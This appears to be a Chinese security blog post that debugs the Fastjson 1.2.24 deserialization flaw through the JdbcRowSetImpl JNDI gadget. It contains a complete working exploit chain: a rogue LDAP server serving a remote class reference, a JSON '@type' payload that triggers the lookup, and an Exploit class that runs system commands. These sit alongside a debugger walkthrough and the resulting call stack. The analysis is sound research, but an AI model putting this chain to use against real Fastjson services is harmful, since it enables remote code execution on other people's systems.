Automne's Shadow.

FastJson 1.2.24 Deserialization Debug

2019/12/10 Share

Web

Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。

直奔主题,这里是1.2.24版本,使用JDK里的JdbcRowSetImpl.class(com.sun.rowset)进行漏洞利用,也就是JdbcRowSetImpl的Gadget。

因为这个Gadget本质上是一个JNDI注入,所以能否成功利用和JDK版本有关。

基于RMI利用的JDK版本<=6u141、7u131、8u121,基于LDAP利用的JDK版本<=6u211、7u201、8u191。

很明显,LDAP的利用方式对于JDK的版本更宽泛些。

漏洞利用和调试需要的外部依赖:

JDK1.8.0_102

fastjson-1.2.24

unboundid-ldapsdk-4.0.9

使用IDEA开始测试,首先搭建LDAP服务器,监听在1389端口

LdapServer.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class LdapServer {

private static final String LDAP_BASE = "dc=example,dc=com";


public static void main (String[] args) {

String url = "http://127.0.0.1:8000/#Exploit";
int port = 1389;


try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;


/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}


/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}

}


protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}
}

JdbcRowSetImpPoc.java,注意这里使用的是JSON.parse(payload),但其实JSON.parseObject(payload)同样是可以触发的。

注意这里的这个payload:

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}
1
2
3
4
5
6
7
8
import com.alibaba.fastjson.JSON;

public class JdbcRowSetImpPoc {
public static void main(String[] args){
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\", \"autoCommit\":true}";
JSON.parse(payload);
}
}

Exploit.java,注意将Exploit.java编译成class文件,然后将Exploit.class文件置于web服务目录下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class Exploit{
public Exploit() {
try {
String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
? new String[]{"cmd.exe","/c", "calc.exe"}
: new String[]{"/bin/bash","-c", "touch /tmp/hacked"};
Runtime.getRuntime().exec(cmds);
} catch (Exception e) {
e.printStackTrace();
}
}

public static void main(String[] args) {
Exploit e = new Exploit();
}
}

首先在JdbcRowSetImpPoc.java里的JSON.parse(payload)处打断点

跟入,发现进入DefaultJSONParser继续解析

automne

继续跟,进入parseObject

automne

上面的payload里通过@type来指定反序列化的类并调用其getter/setter方法

Fastjson接受的JSON可以通过@type字段来指定该JSON应当还原成何种类型的对象,在反序列化的时候方便操作。

调试进入下面的条件语句,调用scanSymbol()函数扫描到com.sun.rowset.JdbcRowSetImpl类后,再调用TypeUtils.loadClass()函数将该类加载进来:

automne

继续调试,调用了FastjsonASMDeserializer.deserialze()对com.sun.rowset.JdbcRowSetImpl类进行了反序列化操作

automne

继续跟

automne

这里使用了ASM动态字节码技术,F7继续往下调试的时候会发现一直没有反应

automne

一种方式是一直按F8,一直按到slot_33出现

automne

另外一种方式是直接搜索setAutoCommit(并在改接口类上打断点

automne

然后F9放行,可以看到进入setAutoCommit的实现类里断住

为什么搜索setAutoCommit,由于PoC设置了dataSourceName键值和autoCommit键值,因此在JdbcRowSetImpl中的setDataSourceName()和setAutoCommit()函数都会被调用,因为它们均满足Fastjson在反序列化时会自动调用的setter方法的特征。

Fastjson会对满足下列要求的setter/getter方法进行调用:

满足条件的setter:

  • 函数名长度大于4且以set开头
  • 非静态函数
  • 返回类型为void或当前类
  • 参数个数为1个

满足条件的getter:

  • 函数名长度大于等于4
  • 非静态方法
  • 以get开头且第4个字母为大写
  • 无参数
  • 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong

automne

回头再看刚才ASM那里的调用,要到slot_33的时候才会往下走

automne

因为conn是null,接着进入this.connect()函数里,可以看到调用了InitialContext.lookup(this.getDataSourceName()),这里是JDNI注入点

automne

然后就远程加载了Exploit.class,执行了系统命令。

automne

调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
connect:624, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
main:6, JdbcRowSetImpPoc

参考链接:

https://www.mi1k7ea.com/2019/11/07/Fastjson%E7%B3%BB%E5%88%97%E4%BA%8C%E2%80%94%E2%80%941-2-22-1-2-24%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

https://cloud.tencent.com/developer/article/1599209

CATALOG